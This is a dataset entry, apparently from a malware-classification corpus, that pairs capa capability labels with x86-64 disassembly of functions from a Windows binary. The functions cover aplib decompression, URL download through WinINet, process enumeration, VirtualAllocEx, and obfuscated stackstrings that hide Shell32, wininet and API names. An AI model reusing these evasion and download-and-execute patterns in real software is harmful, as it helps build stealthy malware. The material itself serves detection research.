joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140c5e6e0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140c5e867
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140c5e711
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c5e6f7
add dl, dl
jne 0x140c5e71e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c5e77e
xor eax, eax
add dl, dl
jne 0x140c5e72d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c5e835
add dl, dl
jne 0x140c5e73e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c5e74b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c5e758
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c5e765
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140c5e772
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140c5e706
mov eax, 1
add dl, dl
jne 0x140c5e78e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c5e79b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c5e783
sub eax, ebx
mov ebx, 1
jne 0x140c5e7d4
mov ecx, 1
add dl, dl
jne 0x140c5e7b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c5e7c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c5e7ab
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c5e706
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140c5e7f0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c5e7fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c5e7e5
cmp eax, 0x7d00
jae 0x140c5e823
cmp eax, 0x500
jb 0x140c5e81e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c5e706
cmp eax, 0x7f
ja 0x140c5e826
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c5e706
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140c5e85a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140c5e706
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140003efc
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.1401a6140
sub rsp, rax
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x1090], rbx
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
and dword [rsp + 0x34], 0
xor eax, eax
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
and qword [rcx], rax
and qword [rcx + 8], rax
and qword [rcx + 0x10], rax
lea edx, [rax + 1]
mov dword [rsp + 0x34], edx
and dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rcx, str.MyApp
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
and qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x140003faa
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov bl, byte [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140003fdd
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [rsp + 0x48]
lea r9, [rsp + 0x50]
add r9, rcx
mov byte [rsp + 0x20], bl
lea r8, [rsp + 0x50]
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.140002628
cmp dword [rsp + 0x48], 0
ja 0x140003fae
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rdi
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1401a61b0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret

Function at 0x140004040
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
mov dword [rbp - 0x20], 0x680053
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x1c], 0x6c0065
mov dword [rbp - 0x18], 0x33006c
xor esi, esi
mov dword [rbp - 0x14], 0x2e0032
mov dword [rbp - 0x10], 0x6c0064
mov dword [rbp - 0xc], VarBstrFromDisp
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1400040ef
lea rdx, [0x1401e5638]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400040e6
mov dword [rsp + 0x28], 1
lea rdx, [rbp - 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8, rdi
mov dword [rbp - 0x30], 0x70006f
xor ecx, ecx
mov dword [rbp - 0x2c], 0x6e0065
mov word [rbp - 0x28], si
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1401a61b0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140004110
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x190], rax
cmp qword [rcx + 0x18], 0x10
jb 0x140004142
mov rdx, qword [rcx]
jmp 0x140004145
mov rdx, rcx
mov r8, qword [rcx + 0x10]
add r8, rdx
cmp qword [rcx + 0x18], 0x10
jb 0x140004156
mov rcx, qword [rcx]
mov rdx, rcx
lea r9, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.1400023e0
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x234
call fcn.1401ac6a0
xor edx, edx
mov dword [rsp + 0x50], 0x238
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x50]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400041fd
cmp qword [rsp + 0x40], 8
lea rcx, [rsp + 0x28]
lea r8, [rsp + 0x7c]
cmovae rcx, qword [rsp + 0x28]
sub r8, rcx
movzx eax, word [rcx]
movzx edx, word [rcx + r8]
sub eax, edx
jne 0x1400041cd
add rcx, 2
test edx, edx
jne 0x1400041b9
mov rcx, rbx
test eax, eax
je 0x1400041e0
lea rdx, [rsp + 0x50]
call sub.KERNEL32.dll_Process32NextW
jmp 0x14000419c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
xor r8d, r8d
mov dl, 1
call fcn.140005428
mov eax, ebx
jmp 0x140004215
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
lea rcx, [rsp + 0x28]
mov dl, 1
call fcn.140005428
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1401a61b0
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x2a0
pop rbp
ret
Function at 0x140004238
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rdi, rcx
mov dword [rbp + 0x37], 0x690077
mov dword [rbp + 0x3b], 0x69006e
mov dword [rbp + 0x3f], 0x65006e
mov dword [rbp + 0x43], 0x2e0074
mov dword [rbp + 0x47], 0x6c0064
mov dword [rbp + 0x4b], VarBstrFromDisp
xor esi, esi
mov dword [rbp + 0xf], 0x6e0049
mov dword [rbp + 0x13], 0x650074
mov dword [rbp + 0x17], 0x6e0072
mov dword [rbp + 0x1b], 0x740065
mov dword [rbp + 0x1f], 0x6c0043
mov dword [rbp + 0x23], 0x73006f
mov dword [rbp + 0x27], 0x480065
mov dword [rbp + 0x2b], 0x6e0061
mov dword [rbp + 0x2f], 0x6c0064
mov dword [rbp + 0x33], 0x65
lea rcx, [rbp + 0x37]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x140004385
mov qword [rbp - 0x21], 7
mov qword [rbp - 0x29], rsi
mov word [rbp - 0x39], si
cmp word [rbp + 0xf], si
jne 0x14000430f
mov r8, rsi
jmp 0x140004321
lea rax, [rbp + 0xf]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], si
jne 0x140004317
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x39]
call fcn.140005da4
nop
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x11]
call fcn.140004804
cmp qword [rax + 0x18], 0x10
jb 0x140004346
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x11]
call fcn.140005370
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x39]
call fcn.140005428
test rbx, rbx
je 0x14000437e
mov rcx, rdi
call rbx
jmp 0x140004380
mov eax, esi
test eax, eax
setne al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1401a61b0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400043ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov qword [rbp - 0x29], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov r14d, edx
mov rsi, rcx
mov dword [rbp + 0x1f], 0x690077
mov dword [rbp + 0x23], 0x69006e
mov dword [rbp + 0x27], 0x65006e
mov dword [rbp + 0x2b], 0x2e0074
mov dword [rbp + 0x2f], 0x6c0064
mov dword [rbp + 0x33], VarBstrFromDisp
xor ebx, ebx
mov dword [rbp - 1], 0x6e0049
mov dword [rbp + 3], 0x650074
mov dword [rbp + 7], 0x6e0072
mov dword [rbp + 0xb], 0x740065
mov dword [rbp + 0xf], 0x70004f
mov dword [rbp + 0x13], 0x6e0065
mov dword [rbp + 0x17], 0x57
lea rcx, [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x1400044f0
mov qword [rbp - 0x31], 7
mov qword [rbp - 0x39], rbx
mov word [rbp - 0x49], bx
cmp word [rbp - 1], bx
jne 0x140004470
mov r8, rbx
jmp 0x140004482
lea rax, [rbp - 1]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x140004478
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x49]
call fcn.140005da4
nop
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x21]
call fcn.140004804
cmp qword [rax + 0x18], 0x10
jb 0x1400044a7
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x21]
call fcn.140005370
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x49]
call fcn.140005428
test rdi, rdi
je 0x1400044ed
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
mov rcx, rsi
call rdi
mov rbx, rax
mov rax, rbx
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1401a61b0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140004514
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov qword [rbp - 0x29], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov r14, rdx
mov rsi, rcx
mov dword [rbp + 0x27], 0x690077
mov dword [rbp + 0x2b], 0x69006e
mov dword [rbp + 0x2f], 0x65006e
mov dword [rbp + 0x33], 0x2e0074
mov dword [rbp + 0x37], 0x6c0064
mov dword [rbp + 0x3b], VarBstrFromDisp
xor ebx, ebx
mov dword [rbp - 1], 0x6e0049
mov dword [rbp + 3], 0x650074
mov dword [rbp + 7], 0x6e0072
mov dword [rbp + 0xb], 0x740065
mov dword [rbp + 0xf], 0x70004f
mov dword [rbp + 0x13], 0x6e0065
mov dword [rbp + 0x17], 0x720055
mov dword [rbp + 0x1b], 0x57006c
mov word [rbp + 0x1f], bx
lea rcx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x14000466c
mov qword [rbp - 0x31], 7
mov qword [rbp - 0x39], rbx
mov word [rbp - 0x49], bx
cmp word [rbp - 1], bx
jne 0x1400045e3
mov r8, rbx
jmp 0x1400045f5
lea rax, [rbp - 1]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x1400045eb
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x49]
call fcn.140005da4
nop
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x21]
call fcn.140004804
cmp qword [rax + 0x18], 0x10
jb 0x14000461a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x21]
call fcn.140005370
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x49]
call fcn.140005428
test rdi, rdi
je 0x140004669
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call rdi
mov rbx, rax
mov rax, rbx
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1401a61b0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140004690
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xb0
mov qword [rbp - 0x49], 0xfffffffffffffffe
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov r15, r9
mov r14d, r8d
mov rsi, rdx
mov rdi, rcx
mov dword [rbp + 7], 0x690077
mov dword [rbp + 0xb], 0x69006e
mov dword [rbp + 0xf], 0x65006e
mov dword [rbp + 0x13], 0x2e0074
mov dword [rbp + 0x17], 0x6c0064
mov dword [rbp + 0x1b], VarBstrFromDisp
xor r12d, r12d
mov dword [rbp - 0x21], 0x6e0049
mov dword [rbp - 0x1d], 0x650074
mov dword [rbp - 0x19], 0x6e0072
mov dword [rbp - 0x15], 0x740065
mov dword [rbp - 0x11], 0x650052
mov dword [rbp - 0xd], 0x640061
mov dword [rbp - 9], 0x690046
mov dword [rbp - 5], 0x65006c
mov word [rbp - 1], r12w
lea rcx, [rbp + 7]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x1400047e6
mov qword [rbp - 0x51], 7
mov qword [rbp - 0x59], r12
mov word [rbp - 0x69], r12w
cmp word [rbp - 0x21], r12w
jne 0x140004766
mov r8, r12
jmp 0x140004778
lea rax, [rbp - 0x21]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r12w
jne 0x14000476e
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x69]
call fcn.140005da4
nop
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x41]
call fcn.140004804
cmp qword [rax + 0x18], 0x10
jb 0x14000479d
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x41]
call fcn.140005370
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x69]
call fcn.140005428
test rbx, rbx
je 0x1400047de
mov r9, r15
mov r8d, r14d
mov rdx, rsi
mov rcx, rdi
call rbx
jmp 0x1400047e1
mov eax, r12d
test eax, eax
setne al
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.1401a61b0
add rsp, 0xb0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140004b90
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
xor ebx, ebx
cmp qword [rcx + 0x68], rbx
je 0x140004cd9
cmp byte [rcx + 0x71], bl
je 0x140004cd9
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x140004be9
xor al, al
jmp 0x140004cdb
mov qword [rbp - 0x18], SafeArrayGetDim
mov qword [rbp - 0x20], rbx
mov byte [rbp - 0x30], bl
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x30]
call fcn.140005b9c
nop
mov r10, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
lea rdx, [rbp - 0x30]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x30]
cmovae r8, r10
mov rcx, qword [rdi + 0x68]
mov r10, qword [rcx]
mov r9, qword [rbp - 0x20]
add r9, rdx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x74]
call qword [r10 + 0x40]
mov ecx, eax
test eax, eax
je 0x140004c51
sub ecx, 1
jne 0x140004cc0
jmp 0x140004c54
mov byte [rdi + 0x71], bl
lea rax, [rbp - 0x30]
mov r10, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
cmp r9, 0x10
cmovae rax, r10
mov rsi, qword [rbp - 0x38]
sub rsi, rax
je 0x140004c9e
lea rcx, [rbp - 0x30]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
call fcn.1401aedc0
cmp rsi, rax
jne 0x140004cc7
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x30]
cmp byte [rdi + 0x71], bl
je 0x140004cc5
test rsi, rsi
jne 0x140004c11
xor r8d, r8d
lea edx, [rsi + 8]
lea rcx, [rbp - 0x30]
call fcn.140005780
jmp 0x140004c09
cmp ecx, 2
jne 0x140004cc7
mov bl, 1
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x30]
call fcn.140005370
mov al, bl
jmp 0x140004cdb
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1401a61b0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140006750
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r14d, edx
mov rdi, rcx
or ebx, 0xffffffff
xor esi, esi
cmp edx, ebx
jne 0x14000679d
cmovne esi, edx
mov eax, esi
jmp 0x140006968
mov rax, qword [rcx + 0x40]
cmp qword [rax], rsi
je 0x1400067d7
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x1400067d7
lea ecx, [r8 - 1]
mov dword [rdx], ecx
mov rdx, qword [rdi + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], r14b
mov eax, r14d
jmp 0x140006968
cmp qword [rdi + 0x80], rsi
je 0x140006966
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140006811
mov rdx, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x88]
mov qword [r8], rcx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
cmp qword [rdi + 0x68], rsi
jne 0x140006832
movsx ecx, r14b
mov rdx, qword [rdi + 0x80]
call fcn.1401ae7a4
cmp eax, ebx
cmovne ebx, r14d
jmp 0x140006966
mov byte [rbp - 1], r14b
mov qword [rbp + 0x1f], SafeArrayGetDim
mov qword [rbp + 0x17], rsi
mov byte [rbp + 7], sil
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp + 7]
call fcn.140005b9c
nop
mov r10, qword [rbp + 7]
mov r9, qword [rbp + 0x1f]
lea rdx, [rbp + 7]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp + 7]
cmovae r8, r10
mov rcx, qword [rdi + 0x68]
mov r10, qword [rcx]
add rdx, qword [rbp + 0x17]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
lea r9, [rbp]
lea r8, [rbp - 1]
lea rdx, [rdi + 0x74]
call qword [r10 + 0x38]
test eax, eax
js 0x140006958
cmp eax, 1
jg 0x14000693d
lea rax, [rbp + 7]
mov r10, qword [rbp + 7]
mov r9, qword [rbp + 0x1f]
cmp r9, 0x10
cmovae rax, r10
mov r15, qword [rbp - 0x11]
sub r15, rax
je 0x140006905
lea rcx, [rbp + 7]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x80]
mov r8, r15
mov edx, 1
call fcn.1401aedc0
cmp r15, rax
jne 0x140006958
mov r9, qword [rbp + 0x1f]
mov r10, qword [rbp + 7]
mov byte [rdi + 0x71], 1
lea rax, [rbp - 1]
cmp qword [rbp - 9], rax
jne 0x140006938
test r15, r15
jne 0x14000685f
cmp qword [rbp + 0x17], 0x20
jae 0x140006958
xor r8d, r8d
lea edx, [r15 + 8]
lea rcx, [rbp + 7]
call fcn.140005780
jmp 0x140006857
mov ebx, r14d
jmp 0x140006958
cmp eax, 3
jne 0x140006958
movsx ecx, byte [rbp - 1]
mov rdx, qword [rdi + 0x80]
call fcn.1401ae7a4
cmp eax, ebx
cmovne ebx, r14d
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 7]
call fcn.140005370
mov eax, ebx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1401a61b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140007b24
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 1], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rbp + 7], rdx
xor esi, esi
mov dword [rbp - 0x29], esi
mov dword [rbp + 0x17], 0x6f0049
mov dword [rbp + 0x1b], 0x6f0043
mov dword [rbp + 0x1f], 0x70006d
mov dword [rbp + 0x23], 0x65006c
mov dword [rbp + 0x27], 0x690074
mov dword [rbp + 0x2b], 0x6e006f
mov word [rbp + 0x2f], si
lea rax, [rbp - 0x39]
mov qword [rbp + 0xf], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
mov r8, qword [rdx + 8]
mov rdx, qword [rdx]
test r8, r8
je 0x140007bad
lock inc dword [r8 + 8]
lea rcx, [rbp - 0x39]
call fcn.14000782c
nop
mov qword [rbp - 9], 7
mov qword [rbp - 0x11], rsi
mov word [rbp - 0x21], si
cmp word [rbp + 0x17], si
jne 0x140007bd2
mov r8, rsi
jmp 0x140007be4
lea rax, [rbp + 0x17]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], si
jne 0x140007bda
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x21]
call fcn.140005da4
nop
mov r9d, 0x1f0003
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x21]
mov rcx, rdi
call fcn.140007c60
nop
mov rbx, qword [rbx + 8]
test rbx, rbx
je 0x140007c3d
or eax, 0xffffffff
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140007c3d
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx]
or edx, 0xffffffff
lock xadd dword [rbx + 0xc], edx
cmp edx, 1
jne 0x140007c3d
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + reloc.OLEAUT32.dll_VariantClear]
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1401a61b0
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000b654
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xb8
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov rax, qword [0x1402979c0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov dword [rbp + 0x2f], 0x74726956
mov dword [rbp + 0x33], 0x416c6175
mov dword [rbp + 0x37], 0x636f6c6c
mov word [rbp + 0x3b], 0x7845
xor ebx, ebx
mov byte [rbp + 0x3d], bl
mov dword [rsp + 0x20], r9d
mov r9d, r8d
mov r8, rdx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
jne 0x14000b71c
mov qword [rbp - 0x21], SafeArrayGetDim
mov qword [rbp - 0x29], rbx
mov byte [rbp - 0x39], bl
cmp byte [rbp + 0x2f], bl
je 0x14000b6d8
lea rcx, [rbp + 0x2f]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], bl
jne 0x14000b6cd
mov rbx, rax
mov r8, rbx
lea rdx, [rbp + 0x2f]
lea rcx, [rbp - 0x39]
call fcn.140005a9c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0xf]
call fcn.140008d98
nop
mov rdx, rax
lea rcx, [rbp - 9]
call fcn.140002fec
lea rdx, [0x140290510]
lea rcx, [rbp - 9]
call fcn.1401abf7c
nop
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1401a61b0
add rsp, 0xb8
pop rbx
pop rbp
ret
Function at 0x14000fa08
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CModifyDlg.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
test rdx, 0xffffffffffff0000
jne 0x14001885f
cmp dword [rcx + 0xe8], 0
jne 0x14001885f
movzx eax, dx
mov dword [rcx + 0xe8], eax
